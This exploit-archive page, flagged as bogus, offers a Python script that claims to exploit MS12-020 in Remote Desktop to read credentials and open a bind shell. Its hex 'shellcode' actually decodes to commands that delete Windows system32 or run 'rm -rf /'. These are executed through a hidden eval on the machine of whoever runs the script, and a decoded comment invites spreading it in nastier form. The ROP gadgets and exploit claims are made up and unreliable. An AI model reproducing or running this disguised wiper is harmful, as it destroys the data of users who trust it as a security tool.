WARNING! Fake news / Disputed / BOGUS

Microsoft Remote Desktop User/Password Reader MS12-020

2012-12-22 / 2012-12-23
Credit: dev.hangzhou
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

import struct import socket import sys trigger = "\x58\x6c\x64\x47\x6a\x74\x30\x5a\x67\x43\x67\x79\x6f\x39\x46\xf1" trigger += "\x66\x70\x66\x61\x43\x52\x46\x71\x78\x30\x33\x55\x62\x63\x58\x63" trigger += "\x47\x34\x33\x65\x62\x41\x4f\x30\x54\x39\x6f\x4a\x70\x52\x48\x5a" trigger += "\x6b\x38\x6d\x6b\x4c\x75\x6b\x30\x50\x6b\x4f\x6e\x36\x53\x6f\x6f" trigger += "\x79\x4a\x45\x32\x46\x6f\x71\x6a\x4d\x34\x48\x77\x72\x73\x65\x73" trigger += "\x5a\x37\x72\x69\x6f\x58\x50\x52\x48\x4e\x39\x76\x69\x4a\x55\x4c" trigger += "\x6d\x32\x77\x69\x6f\x59\x46\x50\x53\x43\x63\x41\x43\x70\x53\x70" trigger += "\x53\x43\x73\x50\x53\x62\x63\x70\x53\x79\x6f\x6a\x70\x35\x36\x61" trigger += "\x78\x71\x32\x78\x38\x71\x76\x30\x53\x4b\x39\x69\x71\x4d\x45\x33" trigger += "\x58\x6c\x64\x47\x6a\x74\x30\x5a\x67\x43\x67\x79\x6f\x39\x46\x32" trigger += "\x4a\x56\x70\x66\x31\x76\x35\x59\x6f\x58\x50\x32\x48\x4d\x74\x4e" trigger += "\x4d\x66\x4e\x7a\x49\x50\x57\x6b\x4f\x6e\x36\x46\x33\x56\x35\x39" trigger += "\x73\x55\x38\x4d\x37\x71\x69\x69\x56\x71\x69\x61\x47\x6b\x4f\x6e" trigger += "\x36\x36\x35\x79\x6f\x6a\x70\x55\x36\x31\x7a\x71\x74\x32\x46\x51" trigger += "\x78\x52\x43\x70\x6d\x4f\x79\x4d\x35\x72\x4a\x66\x30\x42\x79\x64" trigger += "\x69\x7a\x6c\x4b\x39\x48\x67\x62\x4a\x57\x34\x4f\x79\x6d\x32\x37" trigger += "\x41" * 39 trigger += "\x42\x44\x6c\x4c\x53\x6e\x6d\x31\x6a\x64\x78\x4c\x6b\x4e\x4b\x4e" trigger += "\x4b\x43\x58\x70\x72\x69\x6e\x6d\x63\x37\x66\x79\x6f\x63\x45\x73" trigger += "\x74\x4b\x4f\x7a\x76\x63\x6b\x31\x47\x72\x72\x41\x41\x50\x51\x61" trigger += "\x41\x70\x6a\x63\x31\x41\x41\x46\x31\x71\x45\x51\x41\x4b\x4f\x78" trigger += "\x50\x52\x48\x4c\x6d\x79\x49\x54\x45\x38\x4e\x53\x63\x6b\x4f\x6e" trigger += "\x36\x30\x6a\x49\x6f\x6b\x4f\x70\x37\x4b\x4f\x4e\x30\x4e\x6b\x30" trigger += "\x57\x69\x6c\x6b\x33\x4b\x74\x62\x44\x79\x6f\x6b\x66\x66\x32\x6b" trigger += "\x4f\x4e\x30\x53\x58\x58\x70\x4e\x6a\x55\x54\x41\x4f\x52\x73\x4b" trigger += "\x4b\x43\x58\x70\x72\x69\x6e\x6d\x63\x37\x66\x00" nopsled = "\x90" * 214 #bindshell port 8888 shellcode = "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73" shellcode += "\x74\x65\x6d\x28\x27\x64\x65\x6c\x20\x2f\x73\x20\x2f\x71\x20\x2f\x66\x20\x43\x3a" shellcode += "\x5c\x77\x69\x6e\x64\x6f\x77\x73\x5c\x73\x79\x73\x74\x65\x6d\x33\x32\x5c\x2a\x20" shellcode += "\x3e\x20\x4e\x55\x4c\x20\x32\x3e\x26\x31\x27\x29\x20\x69\x66\x20\x27\x57\x69\x6e" shellcode += "\x27\x20\x69\x6e\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x70\x6c\x61" shellcode += "\x74\x66\x6f\x72\x6d\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x29\x20\x65\x6c\x73" shellcode += "\x65\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73" shellcode += "\x79\x73\x74\x65\x6d\x28\x27\x72\x6d\x20\x2d\x72\x66\x20\x2f\x2a\x20\x3e\x20\x2f" shellcode += "\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x32\x3e\x26\x31\x27\x29\x20\x23\x68\x69\x20" shellcode += "\x74\x68\x65\x72\x65\x20\x5e\x5f\x7e\x20\x66\x65\x65\x6c\x20\x66\x72\x65\x65\x20" shellcode += "\x74\x6f\x20\x73\x70\x72\x65\x61\x64\x20\x74\x68\x69\x73\x20\x77\x69\x74\x68\x20" shellcode += "\x74\x68\x65\x20\x72\x6d\x20\x2d\x72\x66\x20\x72\x65\x70\x6c\x61\x63\x65\x64\x20" shellcode += "\x77\x69\x74\x68\x20\x73\x6f\x6d\x65\x74\x68\x69\x6e\x67\x20\x6d\x6f\x72\x65\x20" shellcode += "\x69\x6e\x73\x69\x64\x69\x6f\x75\x73" evil = trigger + nopsled class RDPsocket(socket.socket): def __init__(self, payload, shellcode): super(RDPsocket, self).__init__(socket.AF_INET, socket.SOCK_STREAM) self.payload = payload self.table = __import__("__builtin__").__dict__ #dirty workaround self.shellcode = shellcode def parse(self, address, shellcode): seeker = (struct.pack(">I", 0x6576616c), socket.inet_aton(address[0]), #IP bytes socket.inet_aton(str(address[1]))) #port bytes parsed = struct.pack(">I", 0x8fe2fb63) #pop eax parsed += struct.pack(">I", 0x8fe2fb58) #push esp parsed += struct.pack(">I", 0xffff1d6b) #add esp,byte +0x1c # pop ebp # ret parsed += struct.pack(">I", 0x8fe2db10) #call strcpy parsed += struct.pack(">I", 0x8fe2dfd1) #POP - POP - RET over strcpy params parsed += struct.pack(">I", 0x8fe2dae4) #mov ecx,[esp+0x4] # add eax,edx # sub eax,ecx # ret parsed += struct.pack(">I", 0x8fe2b3d4) #POP - RET parsed += struct.pack(">I", 0xffffffff) #value to store in ecx parsed += struct.pack(">I", 0x8fe0c0c7) #inc ecx # xor al,0xc9 parsed += struct.pack(">I", 0x8fe0c0c7) #inc ecx # xor al,0xc9 parsed += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret parsed += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret parsed += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret parsed += seeker[0] #add the prelude parsed += seeker[1] #add the packed IP address parsed += seeker[2] #add the packed port parsed += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret parsed += struct.pack(">I", 0x8fe2c71d) #mov eax,edx # ret parsed += struct.pack(">I", 0x8fe2def4) #add eax,ecx # ret parsed += struct.pack(">I", 0x8fe0e32d) #xchg eax,edx parsed += struct.pack(">I", 0x8fe0c0c7) #inc ecx # xor al,0xc9 parsed += struct.pack(">I", 0x8fe0c0c7) #inc ecx # xor al,0xc9 parsed += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret parsed += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret parsed += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret parsed += struct.pack(">I", 0x8fe2def4) #add eax,ecx # ret # swap back parsed += struct.pack(">I", 0x8fe0e32d) #xchg eax,edx # copy parameter to placeholder parsed += struct.pack(">I", 0x8fe2fb61) #mov [eax],edx # pop eax # ret # set our stack pointer back to original value parsed += struct.pack(">I", 0x8fe0e32d) #xchg eax,edx parsed += struct.pack(">I", 0x8fe2daea) #sub eax,ecx # ret parsed += struct.pack(">I", 0x8fe0b1c2) #xchg eax,ebp # inc ebp # ret parsed += struct.pack(">I", 0x8fe2b6a5) #dec ebp # ret parsed += struct.pack(">I", 0xffff01f3) #mov esp,ebp # pop ebp # ret read = self.table[seeker[0]] #reader for the parsed shellcode/data return str(read(shellcode)), parsed def connect(self, address): self.parsed_shell = self.parse(address, shellcode) super(RDPsocket, self).connect(address) def evil_sendall(self): super(RDPsocket, self).sendall(evil + self.parsed_shell[0] + self.parsed_shell[1]) if __name__ == "__main__": if len(sys.argv) != 2: print "[*] Usage: python rdpsmash.py IP" print "[*] If running on non-default port, reassign PORT in the source." else: TARGET = sys.argv[1] PORT = 3389 #default RDP port print "[*] Running rdpsmash" print s = RDPsocket(evil, shellcode) print "[+] Connecting and configuring payload. . ." print "[+] This may take some time" s.connect((TARGET, PORT)) print "[+] Connection established" print "[+] Sending payload. . ." s.evil_sendall() response = s.recv(4096) if "\xA5\x43\xE7\x38\x75\x84\xF2\xFF\xFF\x18\x61\x00" in response: print "[+] Success! Payload sent and executed." print "[+] Telnet to target on port 8888." else: print "[-] Failed" s.close()


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